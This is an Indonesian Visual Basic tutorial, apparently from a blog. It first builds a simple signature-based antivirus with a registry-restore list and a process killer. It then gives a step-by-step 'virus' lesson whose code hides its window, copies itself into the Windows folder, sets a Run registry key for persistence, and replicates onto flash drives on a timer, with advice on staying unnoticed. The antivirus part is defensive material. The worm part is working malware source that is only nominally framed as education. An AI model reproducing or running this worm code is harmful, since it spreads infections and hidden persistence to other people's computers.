“W”, write

“D”, delete

 

Key, merupakan nama dari key register

 

Default, merupakan nilai default untuk key register

 

Contoh file indoprog.rdf

 

“W”,”HKCR\batfile\shell\open\command”,”%1 %*”,””

“W”,”HKCR\exefile\shell\open\command”,”%1 %*”,””

“W”,”HKCR\piffile\shell\open\command”,”%1 %*”,””

“W”,”HKCR\lnkfile\shell\open\command”,”%1 %*”,””

“W”,”HKCR\scrfile\shell\open\command”,”%1 %*”,””

“W”,”HKCR\regfile\shell\open\command”,”%1 %*”,””

“W”,”HKLM\Software\CLASSES\batfile\shell\open\command”,”%1 %*”,””

“W”,”HKLM\Software\CLASSES\exefile\shell\open\command”,”%1 %*”,””

“W”,”HKLM\Software\CLASSES\piffile\shell\open\command”,”%1 %*”,””

“W”,”HKLM\Software\CLASSES\lnkfile\shell\open\command”,”%1 %*”,””

“W”,”HKLM\Software\CLASSES\scrfile\shell\open\command”,”%1 %*”,””

“W”,”HKLM\Software\CLASSES\regfile\shell\open\command”,”%1 %*”,””

“W”,”HKLM\Software\Classes\exefile”,”Application”,””

“W”,”HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs”,””,””

“W”,”HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell”,”Explorer.exe”,””

“W”,”HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit”,”windir\system32\userinit.exe”,””

“W”,”HKLM\System\ControlSet001\Control\SafeBoot\AlternateShell”,”Cmd.exe”,””

“W”,”HKLM\System\ControlSet002\Control\SafeBoot\AlternateShell”,”Cmd.exe”,””

“W”,”HKLM\System\ControlSet003\Control\SafeBoot\AlternateShell”,”Cmd.exe”,””

“W”,”HKCU\Control Panel\Desktop\SCRNSAVE.EXE”,”Explorer.exe”,””

“W”,”HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”,”0″,”DWORD”

“W”,”HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,”0″,”DWORD”

“W”,”HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD”,”0″,”DWORD”

“W”,”HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”,”0″,”DWORD”

“W”,”HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoDevMgrPage”,”0″,”DWORD”

“W”,”HKLM\Software\Microsoft\Windows NT\SystemRestore\DisableConfig”,”0″,”DWORD”

“W”,”HKLM\Software\Microsoft\Windows NT\SystemRestore\DisableSR”,”0″,”DWORD”

“W”,”HKLM\Software\Policies\Microsoft\Windows\Installer\LimitSystemRestoreCHeckpointing”,”0″,”DWORD”

“W”,”HKLM\Software\Policies\Microsoft\Windows\Installer\DisableMSI”,”0″,”DWORD”

“W”,”HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\CabinetState\FullPathAddress”,”0″,”DWORD”

“W”,”HKLM\Software\Microsoft\Internet Explorer\Main\Default_Page_Url”,”about:blank”,””

“W”,”HKLM\Software\Microsoft\Internet Explorer\Main\Default_Page_Url”,”about:blank”,””

“W”,”HKLM\Software\Microsoft\Internet Explorer\Main\Start Page”,”about:blank”,””

“W”,”HKLM\Software\Microsoft\Internet Explorer\Main\Start Page”,”about:blank”,””

“W”,”HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”,”0″,”DWORD”

“W”,”HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”,”0″,”DWORD”

“W”,”HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun”,”0″,”DWORD”

“W”,”HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,”0″,”DWORD”

“W”,”HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD”,”0″,”DWORD”

“W”,”HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”,”0″,”DWORD”

“W”,”HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoDevMgrPage”,”0″,”DWORD”

“W”,”HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled”,”0″,”DWORD”

“W”,”HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode”,”0″,”DWORD”

“W”,”HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”,”0″,”DWORD”

“W”,”HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_Url”,”about:blank”,””

“W”,”HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_Url”,”about:blank”,””

“W”,”HKCU\Software\Microsoft\Internet Explorer\Main\Start Page”,”about:blank”,””

“W”,”HKCU\Software\Microsoft\Internet Explorer\Main\Start Page”,”about:blank”,””

“W”,”HKCU\Software\Microsoft\Internet Explorer\Main\HomeOldSP”,”about:blank”,””

“W”,”HKCU\Control Panel\International\s1159″,”AM”,””

“W”,”HKCU\Control Panel\International\s2359″,”PM”,””

“W”,”HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”,”0″,”DWORD”

“W”,”HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden”,”1″,”DWORD”

“W”,”HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden”,”1″,”DWORD”

“D”,”HKLM\Software\Microsoft\Internet Explorer\Main\Window Title”,””,””

“D”,”HKLM\Software\Microsoft\Internet Explorer\Main\Search Bar”,””,””

“D”,”HKLM\Software\Microsoft\Internet Explorer\Main\Search Page”,””,””

“D”,”HKLM\Software\Microsoft\Internet Explorer\Search\SearchAssistant”,””,””

“D”,”HKCU\Software\Microsoft\Internet Explorer\Toolbar\BackBitmapShell”,””,””

“D”,”HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\ResetWebSettings”,””,””

“D”,”HKCU\Software\Microsoft\Internet Explorer\Main\Search Bar”,””,””

“D”,”HKCU\Software\Microsoft\Internet Explorer\Main\Search Page”,””,””

“D”,”HKCU\Software\Microsoft\Internet Explorer\Search\SearchAssistant”,””,””

“D”,”HKCU\Software\Microsoft\Internet Explorer\Main\Window Title”,””,””

 

Selanjutnya file indoprog.rdf akan digunakan untuk memulihkan registry dengan memanfaatkan sub berikut :

 

Private Sub bersihkanRegistry()

On Error Resume Next

Dim nf As Integer

Dim cRdf As String

Dim WShell As Object

Dim Action As String

Dim Key As String

Dim Value As String

Dim Data As String

cRdf = App.Path + “\indoprog.rdf”

nf = FreeFile

Open cRdf For Input As #nf

Set WShell = CreateObject(“WScript.Shell”)

Do While Not EOF(nf)

   Input #nf, Action, Key, Value, Data

   If Action = “D” Then

      WShell.regDelete Key

      txtPath.Text = “Hapus :” + Key

   Else

      If Data = “DWORD” Then

         WShell.regwrite Key, Value, “REG_DWORD”

      Else

         If InStr(Value, “windir”) Then

            Value = Replace(Value, “windir”, Environ$(“windir”))

         End If

         WShell.regwrite Key, Value

      End If

      txtPath.Text = “Tulis :” + Key

   End If

Loop

Close #nf

Set WShell = Nothing

End Sub

 


Merangkai menjadi satu program IndoprogAV

 

Rancanglah form berikut ini

 

 

Kontrol

Name

TextBox

txtScan

ListBox

lstHistory

Frame

Frame1

Label

Label1

Label

Label2

TextBox

txtPath

TextBox

txtNamaVirus

Command

cmdTambah

Command

cmdScan

 

Tambahkan ModuleProcess keproject anda :

 

Public Type PROCESSENTRY32

    dwSize As Long

    cntUsage As Long

    th32ProcessID As Long

    th32DefaultHeapID As Long

    th32ModuleID As Long

    cntThreads As Long

    th32ParentProcessID As Long

    pcPriClassBase As Long

    dwFlags As Long

    szExeFile As String * 260

End Type

 

Public Type TMODULEENTRY32

  dwSize As Long

  th32ModuleID As Long

  th32ProcessID As Long

  glblcntUsage As Long

  proccntUsage As Long

  modBaseAddr As Long

  modBaseSize As Long

  hModule As Long

  szModule As String * 256

  szExeFile As String * 260

End Type

 

Public Type LUID

  LowPart As Long

  HighPart As Long

End Type

 

Public Type LUID_AND_ATTRIBUTES

  pLuid As LUID

  Attributes As Long

End Type

 

Public Type TOKEN_PRIVILEGES

  PrivilegeCount As Long

  Privileges(1) As LUID_AND_ATTRIBUTES

End Type

 

Public Type TOSVERSIONINFO

  dwOSVersionInfoSize As Long

  dwMajorVersion As Long

  dwMinorVersion As Long

  dwBuildNumber As Long

  dwPlatformId As Long

  szCSDVersion As String * 128

End Type

 

Public Declare Function CreateToolhelp32Snapshot Lib “kernel32” _

   (ByVal dwFlags As Long, ByVal th32ProcessID As Long) As Long

  

Public Declare Function CloseHandle Lib “kernel32” _

   (ByVal hObject As Long) As Long

  

Public Declare Function Process32First Lib “kernel32” _

   (ByVal hSnapShot As Long, ByRef ThreadStruct As PROCESSENTRY32) As Long

  

Public Declare Function Process32Next Lib “kernel32” _

   (ByVal hSnapShot As Long, ByRef ThreadStruct As PROCESSENTRY32) As Long

  

Public Declare Function GetLastError Lib “kernel32” () As Long

 

Public Declare Function Module32First Lib “kernel32.dll” _

  (ByVal hSnapShot As Long, ByRef lppe As TMODULEENTRY32) As Long

 

Public Declare Function Module32Next Lib “kernel32.dll” _

  (ByVal hSnapShot As Long, ByRef lppe As TMODULEENTRY32) As Long

 

Public Declare Function OpenProcess Lib “kernel32.dll” _

  (ByVal dwDesiredAccessas As Long, _

  ByVal bInheritHandle As Long, _

  ByVal dwProcId As Long) As Long

 

Public Declare Function GetCurrentProcess Lib “kernel32” () As Long

 

Public Declare Function OpenProcessToken Lib “advapi32” ( _

  ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, _

  TokenHandle As Long) As Long

 

Public Declare Function LookupPrivilegeValue Lib “advapi32” _

 Alias “LookupPrivilegeValueA” (ByVal lpSystemName As String, _

 ByVal lpName As String, lpLuid As LUID) As Long

 

Public Declare Function AdjustTokenPrivileges Lib “advapi32” ( _

  ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, _

  NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, _

  PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long

  Private Declare Function ExitWindowsEx Lib “user32” (ByVal uFlags As _

  Long, ByVal dwReserved As Long) As Long

 

Public Declare Function GetVersionEx Lib “kernel32” Alias _

 “GetVersionExA” (ByRef lpVersionInformation As TOSVERSIONINFO) _

 As Long

 

Public Declare Function ReadProcessMemory Lib “kernel32” _

  (ByVal hProcess As Long, lpBaseAddress As Any, _

  lpBuffer As Any, ByVal nSize As Long, _

  lpNumberOfBytesWritten As Long) As Long

 

Public Declare Function TerminateProcess Lib “kernel32” _

  (ByVal hProcess As Long, ByVal uExitCode As Long) As Long

 

Public Declare Function CopyMemory Lib “kernel32” _

  Alias “RtlMoveMemory” (ByVal Dest As Any, ByVal Src As Any, ByVal Size As Long) As Long

 

Public Const TH32CS_SNAPHEAPLIST As Long = &H1&

Public Const TH32CS_SNAPPROCESS  As Long = &H2&

Public Const TH32CS_SNAPTHREAD   As Long = &H4&

Public Const TH32CS_SNAPMODULE   As Long = &H8&

Public Const TH32CS_SNAPALL   As Long = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE)

Public Const TH32CS_INHERIT    As Long = &H80000000

Public Const VER_PLATFORM_WIN32_NT = 2

Public Const STANDARD_RIGHTS_REQUIRED = &HF0000

Public Const PROCESS_ALL_ACCESS = &H1F0FFF

 

Public Const TOKEN_QUERY = 8

Public Const TOKEN_ADJUST_PRIVILEGES = 32

Public Const SE_PRIVILEGE_ENABLED = 2

 

Public Function GetVersion() As Long

  Dim OSInfo As TOSVERSIONINFO

  Dim iRet As Integer

 

  With OSInfo

    .dwOSVersionInfoSize = 148

    .szCSDVersion = Space$(128)

    iRet = GetVersionEx(OSInfo)

    GetVersion = .dwPlatformId

  End With

End Function

 

Function SetPrivilege(PrivilegeName As String, Enabled As Boolean) As Boolean

Dim tP As TOKEN_PRIVILEGES

Dim tPPrev As TOKEN_PRIVILEGES

Dim Token As Long

Dim wRetLen As Long

 

Call OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, Token)

 

tP.PrivilegeCount = 1

 

If LookupPrivilegeValue(“”, PrivilegeName, tP.Privileges(0).pLuid) Then

   If (Enabled) Then

      tP.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED

   Else

      tP.Privileges(0).Attributes = 0

   End If

   wRetLen = 0

  

   SetPrivilege = AdjustTokenPrivileges(Token, False, tP, Len(tPPrev), tPPrev, wRetLen)

  

End If

CloseHandle (Token)

End Function

Tambahkan ModulePE ke project Anda

 

Private Type IMAGE_DOS_HEADER

    e_magic As Integer   ”\\ Magic number

    e_cblp As Integer    ”\\ Bytes on last page of file

    e_cp As Integer      ”\\ Pages in file

    e_crlc As Integer    ”\\ Relocations

    e_cparhdr As Integer ”\\ Size of header in paragraphs

    e_minalloc As Integer ”\\ Minimum extra paragraphs needed

    e_maxalloc As Integer ”\\ Maximum extra paragraphs needed

    e_ss As Integer    ”\\ Initial (relative) SS value

    e_sp As Integer    ”\\ Initial SP value

    e_csum As Integer  ”\\ Checksum

    e_ip As Integer  ”\\ Initial IP value

    e_cs As Integer  ”\\ Initial (relative) CS value

    e_lfarlc As Integer ”\\ File address of relocation table

    e_ovno As Integer ”\\ Overlay number

    e_res(0 To 3) As Integer ”\\ Reserved words

    e_oemid As Integer ”\\ OEM identifier (for e_oeminfo)

    e_oeminfo As Integer ”\\ OEM information; e_oemid specific

    e_res2(0 To 9) As Integer ”\\ Reserved words

    e_lfanew As Long ”\\ File address of new exe header

End Type

 

Private Type IMAGE_FILE_HEADER

    Machine As Integer

    NumberOfSections As Integer

    TimeDateStamp As Long

    PointerToSymbolTable As Long

    NumberOfSymbols As Long

    SizeOfOptionalHeader As Integer

    Characteristics As Integer

End Type

 

Private Type IMAGE_OPTIONAL_HEADER

    Magic As Integer

    MajorLinkerVersion As Byte

    MinorLinkerVersion As Byte

    SizeOfCode As Long

    SizeOfInitializedData As Long

    SizeOfUninitializedData As Long

    AddressOfEntryPoint As Long

    BaseOfCode As Long

    BaseOfData As Long

End Type

 

Private Type IMAGE_DATA_DIRECTORY

    VirtualAddress As Long

    Size As Long

End Type

 

Private Type IMAGE_OPTIONAL_HEADER_NT

    ImageBase As Long

    SectionAlignment As Long

    FileAlignment As Long

    MajorOperatingSystemVersion As Integer

    MinorOperatingSystemVersion As Integer

    MajorImageVersion As Integer

    MinorImageVersion As Integer

    MajorSubsystemVersion As Integer

    MinorSubsystemVersion As Integer

    Win32VersionValue As Long

    SizeOfImage As Long

    SizeOfHeaders As Long

    CheckSum As Long

    Subsystem As Integer

    DllCharacteristics As Integer

    SizeOfStackReserve As Long

    SizeOfStackCommit As Long

    SizeOfHeapReserve As Long

    SizeOfHeapCommit As Long

    LoaderFlags As Long

    NumberOfRvaAndSizes As Long

    DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY

End Type

 

Public Type IMAGE_NT_HEADERS

  Signature As Long

  FileHeader As IMAGE_FILE_HEADER

  OptionalHeader  As IMAGE_OPTIONAL_HEADER

  OptionalHeaderNT As IMAGE_OPTIONAL_HEADER_NT

End Type

 

Type IMAGE_SECTION_HEADER

    SectionName(0 To 7) As Byte

    VirtualSize As Long

    VirtualAddress As Long

    SizeOfRawData As Long

    PointerToRawData As Long

    PointerToRelocations As Long

    PointerToLineNumbers As Long

    NumberOfRelocations As Integer

    NumberOfLineNumbers As Integer

    Characteristics As Long

End Type

 

Tambahkan moduleFungsi ke project anda

 

Option Explicit

 

Public Function extractFilename(ByVal FullPath As String) As String

Dim Pos As Long

Dim NewLen As Long

Pos = Len(FullPath)

If Pos = 0 Then

    extractFilename = “”

    Exit Function

End If

NewLen = 0

Do

    If Pos = 0 Then Exit Do

    If Mid$(FullPath, Pos, 1) = “\” Then Exit Do

    Pos = Pos – 1

    NewLen = NewLen + 1

Loop

extractFilename = Right$(FullPath, NewLen)

End Function

 

Public Function buatPattern(ImageNTHeader As IMAGE_NT_HEADERS)

buatPattern = Right$(“00000000” + Hex$(ImageNTHeader.OptionalHeader.AddressOfEntryPoint), 8) + _

               Right$(“00000000” + Hex$(ImageNTHeader.OptionalHeader.SizeOfCode), 8)

End Function

 

Koding Form anda :

 

Option Explicit

 

Dim adaVirus As Boolean             ‘menyimpan hasil scan terakhir

Dim PatternCount As Integer         ‘menyimpan jumlah pattern

Dim PatternVirus(100) As String     ‘array meyimpan pattern

 

Private Sub Form_Load()

Call loadVdf

End Sub

 

Private Sub loadVdf()

Dim cVDF As String

Dim nf As Integer

cVDF = App.Path + “\indoprog.vdf”

nf = FreeFile

PatternCount = 0

Open cVDF For Input As #nf

Do While Not EOF(nf)

   Input #nf, PatternVirus(PatternCount)

   Call lstHistory.AddItem(“Baca : ” + PatternVirus(PatternCount), 0)

   PatternCount = PatternCount + 1

Loop

PatternCount = PatternCount – 1

Close #nf

End Sub

 

Private Sub cmdScan_Click()

cmdTambah.Enabled = False

cmdScan.Enabled = False

adaVirus = False

Call periksaProcesses

If adaVirus Then

   Call bersihkanRegistry

End If

Call periksaDrives

cmdTambah.Enabled = True

cmdScan.Enabled = True

End Sub

 

Public Sub periksaProcesses()

Dim hSnapShot As Long

Dim ProcessEntry As PROCESSENTRY32

Dim NextEnumExists As Boolean

Dim Pos As Long

Dim pId As Long

Dim fileName As String

Dim baseName As String

 

hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)

If hSnapShot = 0 Then

    MsgBox “Failed to create Module and Thread snapshot”

    Exit Sub

End If

 

ProcessEntry.dwSize = Len(ProcessEntry)

NextEnumExists = 0 <> Process32First(hSnapShot, ProcessEntry)

 

While NextEnumExists

    pId = ProcessEntry.th32ProcessID

       

    Pos = InStr(ProcessEntry.szExeFile, Chr(0))

   

    If Pos > 1 Then

        fileName = Left(ProcessEntry.szExeFile, Pos – 1)

        baseName = extractFilename(fileName)

    Else

        fileName = “”

        baseName = “”

    End If

   

    Call lstHistory.AddItem(“Periksa (” + Hex$(pId) + “) ” + fileName, 0)

      

    Call periksaModules(pId)

      

    NextEnumExists = 0 <> Process32Next(hSnapShot, ProcessEntry)

Wend

 

Call CloseHandle(hSnapShot)

 

End Sub

 

Public Sub periksaModules(pId As Long)

Dim ModuleEntry As TMODULEENTRY32

Dim hProcess As Long

Dim Proceed As Long

Dim hSnapShot As Long

 

Dim lWritten As Long

 

Dim sBuffer As String * 512

Dim ImageNTHeader As IMAGE_NT_HEADERS

 

Dim e_lfanew As Integer

 

Dim Pattern As String

 

Dim i As Integer

 

If GetVersion = VER_PLATFORM_WIN32_NT Then

   If Not SetPrivilege(“SeDebugPrivilege”, True) Then Exit Sub

End If

  

hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, pId)

           

If hProcess <> 0 Then

   hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pId)

 

   If hSnapShot <> -1 Then

      ModuleEntry.dwSize = Len(ModuleEntry)

      Proceed = Module32First(hSnapShot, ModuleEntry)

 

      Do While Proceed

     

         sBuffer = Space(1024)

     

         If ReadProcessMemory(hProcess, ByVal ModuleEntry.modBaseAddr, ByVal sBuffer, 512, lWritten) Then

            If lWritten > 0 Then

               e_lfanew = InStr(sBuffer, “PE” + Chr$(0) + Chr$(0)) – 1

               If e_lfanew > 0 Then

                  If ReadProcessMemory(hProcess, ByVal (ModuleEntry.modBaseAddr + e_lfanew), ByVal ImageNTHeader, Len(ImageNTHeader), lWritten) Then

                     Pattern = buatPattern(ImageNTHeader)

                     i = 0

                     Do While i <= PatternCount

                        If Pattern = Left(PatternVirus(i), Len(Pattern)) Then Exit Do

                        i = i + 1

                     Loop

                     If i <= PatternCount Then

                        adaVirus = True

                        Call TerminateProcess(hProcess, 0)

                        Call lstHistory.AddItem(“Found :” + Mid$(PatternVirus(i), Len(Pattern) + 1), 0)

                        Call lstHistory.AddItem(“Action: Kill process”, 0)

                     End If

                  End If

               End If

            End If

         End If

        Proceed = Module32Next(hSnapShot, ModuleEntry)

      Loop

   End If

  

   CloseHandle (hSnapShot)

 

End If

 

CloseHandle (hProcess)

 

If GetVersion() = VER_PLATFORM_WIN32_NT Then

   Call SetPrivilege(“SeDebugPrivilege”, False)

End If

End Sub

 

Private Sub bersihkanRegistry()

On Error Resume Next

Dim nf As Integer

Dim cRdf As String

Dim WShell As Object

Dim Action As String

Dim Key As String

Dim Value As String

Dim Data As String

cRdf = App.Path + “\indoprog.rdf”

nf = FreeFile

Open cRdf For Input As #nf

Set WShell = CreateObject(“WScript.Shell”)

Do While Not EOF(nf)

   Input #nf, Action, Key, Value, Data

   If Action = “D” Then

      WShell.regDelete Key

      txtPath.Text = “Hapus :” + Key

   Else

      If Data = “DWORD” Then

         WShell.regwrite Key, Value, “REG_DWORD”

      Else

         If InStr(Value, “windir”) Then

            Value = Replace(Value, “windir”, Environ$(“windir”))

         End If

         WShell.regwrite Key, Value

      End If

      txtPath.Text = “Tulis :” + Key

   End If

Loop

Close #nf

Set WShell = Nothing

End Sub

 

‘Mencari semua drive, dan mendeteksi

Sub periksaDrives()

Dim ObjFSO As Object

Dim Drives As Object

Dim sDrive As Object

Set ObjFSO = CreateObject(“Scripting.FileSystemObject”)

Set Drives = ObjFSO.Drives

For Each sDrive In Drives

    ‘1 – Removable drive

    ‘2 – Fixed drive (hard disk)

    ‘3 – Mapped network drive

    ‘4 – CD-ROM drive

    ‘5 – RAM disk

If sDrive.DriveType <= 2 Then

   Call GetFiles(sDrive & “\”)

   GetFolders (sDrive & “\”)

End If

Next

End Sub

 

Function GetFolders(Folder As String)

Dim ObjFSO As Object

Dim sFolder As Object

On Error GoTo Finally

Set ObjFSO = CreateObject(“Scripting.FileSystemObject”)

For Each sFolder In ObjFSO.GetFolder(Folder).SubFolders

    Call GetFiles(sFolder.Path)

    GetFolders (sFolder.Path)

Next

Finally:

End Function

 

Function GetFiles(Path As String)

Dim ObjFSO As Object

Dim sFiles As Object

Dim Pattern As String

Dim i As Integer

 

On Error GoTo Finally

Set ObjFSO = CreateObject(“Scripting.FileSystemObject”)

txtScan.Text = Path

For Each sFiles In ObjFSO.GetFolder(Path).Files

    DoEvents

    If InStr(“bat bin com cmd dll exe ini htt pif”, Right$(sFiles, 3)) > 0 Then

       Pattern = AmbilPatternFile(sFiles)

       If Pattern <> “” Then

          i = 0

          Do While i <= PatternCount

             If Pattern = Left(PatternVirus(i), Len(Pattern)) Then Exit Do

             i = i + 1

          Loop

  

          If i <= PatternCount Then

             adaVirus = True

             ‘SetAttr sFiles, vbNormal

             ‘Kill sFiles

             Call lstHistory.AddItem(“File :” + sFiles, 0)

             Call lstHistory.AddItem(“Found :” + Mid$(PatternVirus(i), Len(Pattern) + 1), 0)

          End If

       End If

    End If

Next

Finally:

End Function

 

Public Function AmbilPatternFile(sFiles)

Dim sBuffer As String * 512

Dim ImageNTHeader As IMAGE_NT_HEADERS

Dim e_lfanew As Integer

Dim nf As Integer

 

nf = FreeFile

AmbilPatternFile = “”

On Error GoTo Finally

Open sFiles For Binary Access Read As #nf

     

Get #nf, , sBuffer

      

e_lfanew = InStr(sBuffer, “PE” + Chr$(0) + Chr$(0))

If e_lfanew > 0 Then

   Seek #nf, e_lfanew

   Get #nf, , ImageNTHeader

   AmbilPatternFile = buatPattern(ImageNTHeader)

End If

Close #nf

Finally:

End Function

 

Private Sub cmdTambah_Click()

Dim nf As Integer

Dim cVDF As String

Dim cPattern As String

cVDF = App.Path + “\indoprog.vdf”

nf = FreeFile

Open cVDF For Append As #nf

cPattern = AmbilPatternFile(txtPath.Text)

If cPattern = “” Then

   MsgBox “Gagal mengambil pattern virus !”, vbCritical, vbOKOnly

Else

   Print #nf, cPattern + txtNamaVirus.Text

   Call lstHistory.AddItem(“Tambah VDF : ” + txtNamaVirus.Text, 0)

End If

Close #nf

End Sub

 


Pembuatan Virus dengan Visual Basic

 

Artikel berikut hanya berupa illustrasi tentang bagaimana pemrograman program virus (belajar membuat virus) dengan menggunakan bahasa pemrograman Visual Basic. Artikel ini tidak bertujuan melakukan penyebaran virus, tetapi hanya sekedar pendidikan.

 

Perhatian :

Artikel ini tidak menyediakan program executable yang dimaksud, dan segala tindakan anda melakukan proses penyusunan source code kembali dan melakukan kompilasi menghasilkan executable dan melakukan percobaan terhadap file executable merupakan resiko anda sendiri.

 

Jika anda tidak setuju dengan pernyataan tersebut diatas, segera tutup dokumen ini dan lakukan penghapusan dari system anda.

 

Jika anda melanjutkan pembacaan dokumen ini artinya anda setuju (lakukan page down 6 kali untuk mulai membaca).

 

Jika anda mengikuti langkah-langkah pada artikel ini, maka akhirnya akan dihasilkan suatu program yang mampu melakukan infeksi terhadap system anda, jadi berhati-hatilah.

 

Proses belajar ini disusun sedemikian rupa sehingga memudahkan anda untuk mengikutinya dari tingkat yang paling dasar, sampai ke teknik-teknik yang lebih rumit yang membutuhkan ketrampilan WIN API dan akses registry windows.

 

  1. Tidak menampakan diri pada saat Run.

Buatlah sebuah project baru, dan tambahkan sebuah sub main (Project-Add Module)

 

Option Explicit                       ‘setiap variable harus dideklarasikan

Sub main()

App.TaskVisible = False         ‘tidak tampil di taskbar

Form1.Visible = False             ‘tidak menampilkan form

End Sub

 

Buatlah sub main sebagai startup object program anda (Project-Project Properties-Startup Object, Sub Main)

 

Coba lakukan Run, apakah program anda visible (form dan taskbar) ?

 

  1. Mengaktifkan diri setiap proses boot System.

Tambahkan sebuah sub baru dengan nama virusInstall, mulai bagian ini   membutuhkan anda melakukan kompilasi project anda menjadi executable.

 

Sub VirusInstall()

Dim wShell As Object

Dim fSource As String

Dim fTarget As String

‘ambil path dan nama exe file

fSource = App.Path & “\” & App.EXEName & “.exe”

‘duplikasi ke folder windows

fTarget = Environ$(“windir”) & “\MyVirus.exe”

‘Periksa apakah sudah pernah install

If Dir(fTarget) = “” Then

   Call FileCopy(fSource, fTarget)

   Set wShell = CreateObject(“WScript.Shell”)

   ‘manipulasi registry run

   wShell.regwrite “HKLM\Software\Microsoft\Windows\Run\MyVirus”, fTarget

End If

End Sub

 

dan aktifkan sub virusInstall dari Sub Main

 

Sub Main()

App.TaskVisible = False

Form1.Visible = False

Call VirusInstall                                  ‘install diri

End Sub

 

  1. Penyebaran diri melalui media flash disk

 

·         Tambahkan global variable (pada bagian general declaration) agar 1 flashdisk diinfeksi hanya 1 kali (virus yang baik tentu saja harus efisien dalam pemakaian resource sehingga kehadirannya tidak dapat diketahui dengan cepat)

 

Dim infectedFlashDisk As Boolean   ‘flag sudah infeksi atau belum

 

·         Tambahkan sub berikut untuk mereplikasi diri virus

 

Public Sub replikasiDiri(targetDrive As String)

Dim fSource As String

Dim fTarget As String

‘replikasi dari C:\Windows (lokasi instalasi diri)

fSource = Environ$(“windir”) & “\MyVirus.exe”

‘ke target drive

fTarget = targetDrive + “\MyVirus.exe”

‘jangan replikasi lebih dari 1 kali pada media yang sama

If Dir(fTarget) = “” Then                   

   Call FileCopy(fSource, fTarget)

End If

End Sub

 

·         Tambahkan sub berikut untuk memantau keberadaan flashdisk

 

Public Sub sebarFlashDisk()

On Error GoTo BatalInfeksi

Dim AdaFlashDisk As Boolean

Dim ObjFSO As Object

Dim ObjDrive As Object

‘buat file scripting object

Set ObjFSO = CreateObject(“Scripting.FileSystemObject”)

AdaFlashDisk = False

For Each ObjDrive In ObjFSO.Drives

    ‘Asumsi semua removable drive diatas huruf C adalah flash disk

    ‘1 – Removable drive

    ‘2 – Fixed drive (hard disk)

    ‘3 – Mapped network drive

    ‘4 – CD-ROM drive

    ‘5 – RAM disk

    If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > “C” Then

       AdaFlashDisk = True

       ‘jangan infeksi berulang-ulang dan sisa kapasitas > 100 kb

       If Not infectedFlashDisk And ObjDrive.AvailableSpace > 102400 Then

          Call replikasiDiri(ObjDrive.DriveLetter+”:”)

          infectedFlashDisk = True         ‘aktifkan flag sudah infeksi

       End If

    End If

Next

If Not AdaFlashDisk Then                 ‘tidak ada flashdisk

   infectedFlashDisk = False               ‘reset flag sudah infeksi

End If

BatalInfeksi:

End Sub

 

·         Tambahkan kontrol timer pada form1

 

Private Sub Timer1_Timer()

Call sebarFlashDisk                            ‘aktifkan penyebaran flasdisk

End Sub

 

·         Atur setting flag sudah infeksi dan control timer melalui sub main

 

Sub Main()

App.TaskVisible = False

Form1.Visible = False

Call VirusInstall

‘Atur variabel global

infectedFlashDisk = False

‘Atur setting time

Form1.Timer1.Interval = 5000

Form1.Timer1.Enabled = True

End Sub

 

  1. Membatasi pengaktifan diri hanya 1 kali

Virus yang efisien tentu saja harus hemat resource dan menggunakan algoritma yang efisien, sehingga keberadaan dirinya tidak terasa oleh pemakai.

 

·         Tambahkan fungsi findWindow dari WINAPI

 

Public Declare Function FindWindow Lib “user32” Alias “FindWindowA” (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

 

·         Tambahkan fungsi sudahAktif

 

Function sudahAktif(Title As String) As Boolean

Dim vir_hwnd As Long

‘Jika Jendela virus aktif

‘cari Window dengan title yang sama

vir_hwnd = FindWindow(vbNullString, Title)

sudahAktif = Not (vir_hwnd = 0)

End Function

 

·         Modifikasi sub Main

 

Sub Main()

Dim namaVirus As String

namaVirus = “MyVirus”

If Not sudahAktif(namaVirus) Then  ‘jika belum aktif

   App.TaskVisible = False

   Form1.Visible = False

   Call VirusInstall

   ‘Atur variabel global

   infectedFlashDisk = False

   ‘Atur setting time

   Form1.Caption = namaVirus           ‘tandai title Window

   Form1.Timer1.Interval = 5000

   Form1.Timer1.Enabled = True

End If

End Sub

 

